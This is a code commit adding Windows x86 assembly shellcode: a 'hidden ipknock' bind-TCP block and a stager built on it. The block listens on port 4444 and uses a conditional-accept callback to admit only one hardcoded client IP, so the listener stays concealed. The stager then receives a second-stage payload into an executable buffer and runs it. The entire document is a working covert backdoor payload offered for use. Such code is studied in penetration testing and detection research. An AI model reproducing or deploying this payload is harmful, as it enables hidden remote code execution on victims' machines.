Add stager ipknock shellcode (PR 2)
This commit is contained in:
Borja Merino
+99
@@ -0,0 +1,99 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com)
|
||||
; Modified version to add hidden ipknock bind shell support: Borja Merino (bmerinofe@gmail.com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (December 2014)
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the newly connected clients socket
|
||||
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
bind_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
xor ebx, ebx ; Clear EBX
|
||||
push ebx ; bind to 0.0.0.0
|
||||
push 0x5C110002 ; family AF_INET and port 4444
|
||||
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
|
||||
push esi ; pointer to the sockaddr_in struct
|
||||
push edi ; socket
|
||||
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||
|
||||
; Hidden ipknock Support ----------
|
||||
|
||||
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
|
||||
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
|
||||
push 0x3002 ; level at which the option is defined: SOL_SOCKET
|
||||
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
|
||||
push edi ; socket descriptor
|
||||
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
|
||||
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
|
||||
|
||||
push ebx ; backlog
|
||||
push edi ; socket
|
||||
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
call ebp ; listen( s, 0 );
|
||||
condition:
|
||||
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
|
||||
call wsaaccept ; push the start of the condition function on the stack
|
||||
mov eax, DWORD [esp+4] ;
|
||||
mov eax, DWORD [eax+4] ;
|
||||
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
|
||||
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
|
||||
jz equal ; if equal, eax = 0
|
||||
xor eax, eax
|
||||
inc eax ; if not equal, eax = 1
|
||||
equal:
|
||||
mov DWORD [ebp+84], eax ; save the value of eax out of the scope of the callback.
|
||||
; This value will be read it after calling WSAaccept since
|
||||
; WSAaccept would always return FFFFFFFF when the IP is spoofed
|
||||
retn 0x20 ; some stack alignment needed to return to mswsock
|
||||
|
||||
wsaaccept:
|
||||
push ebx ; length of the sockaddr = nul
|
||||
push ebx ; struct sockaddr = nul
|
||||
push edi ; socket descriptor
|
||||
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
|
||||
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
|
||||
cmp DWORD [esp+4], 0
|
||||
jnz condition ; Check if the IP knocked is allowed
|
||||
inc eax
|
||||
jnz connection ; Check if the 3-Way Handshake is successfully established
|
||||
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
|
||||
push ebx ; fnCondition = 0
|
||||
jmp wsaaccept
|
||||
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
|
||||
|
||||
connection:
|
||||
dec eax ; restore eax
|
||||
push edi ; push the listening socket to close
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
||||
@@ -0,0 +1,20 @@
|
||||
;-----------------------------------------------------------------------------;
|
||||
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Borja Merino (bmerinofe[at]gmail[dot]com) [Hidden ACL support]]
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (Dec 2014)
|
||||
; Size: 359 bytes
|
||||
; Build: >build.py stager_hidden_bind_tcp
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
[ORG 0]
|
||||
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
%include "./src/block/block_api.asm"
|
||||
start: ;
|
||||
pop ebp ; pop off the address of 'api_call' for calling later.
|
||||
%include "./src/block/block_hidden_bind_ipknock.asm"
|
||||
; By here we will have performed the bind_tcp connection and EDI will be our socket.
|
||||
%include "./src/block/block_recv.asm"
|
||||
; By now we will have received in the second stage into a RWX buffer and be executing it
|
||||
Reference in New Issue
Block a user